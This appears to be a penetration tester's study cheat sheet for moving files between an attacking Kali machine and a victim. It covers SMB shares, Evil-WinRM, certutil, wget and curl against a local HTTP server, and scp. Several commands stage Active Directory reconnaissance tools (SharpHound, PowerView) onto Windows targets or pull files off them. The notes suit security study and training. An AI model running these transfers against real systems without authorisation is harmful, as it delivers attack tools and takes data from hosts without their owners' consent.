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This took lots of time for me to compile and understand. However, through applying the "try harder" mentality, this concept has made me gain more confidence in my competence. |
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On Kali:
impacket-smbserver smb . -smb2support
On Windows:
net use \\<kali-ip>\smb
copy \\<kali-ip>\smb\SharpHound.exe .
dir
SharpHound.exe
- Be sure to open up the file through the file manager on Linux (GUI)
- This makes things easier
# Download to your Kali:
Evil-WinRM download /file/name/here
# Upload a file to the Windows victim from Kali
Evil-WinRM upload /file/name/here
On Kali:
python3 -m http.server
On Windows:
certutil -urlcache -f http://<kali_ip_here:8000>/name_of_file name_of_file
Evil-WinRM: PS C:\programdata> upload /../../../PowerView.ps1
On Kali:
python3 -m http.server
On Victim:
wget http://<tun0_ip_here>:8000/<file_name_here> <file_name_here>
wget -r http://192.168.76.146:8000/stack
Download it all:
wget -r -l inf -np -nH --cut-dirs=0 -R "index.html*" -P <Directory_to_save_to> http://webserver
On Kali:
python3 -m http.server
On Victim:
curl http://<tun0_ip_here:8000/<file_name_here> <file_name_here>
- Is SSH open?
- SSH Creds or Key
- Identify path of file you want with
pwd
Copying a file from a remote system to yours:
scp user@10.10.10.1:C:/ftp/infrastructure .
password:
Infrastructure.pdf 100% 45KB 240.7KB/s 00:00
Transfering a file from your system to a remote system:
scp root@10.10.10.1 -i ~/.ssh/id_rsa wordlist.txt /root/wordlists
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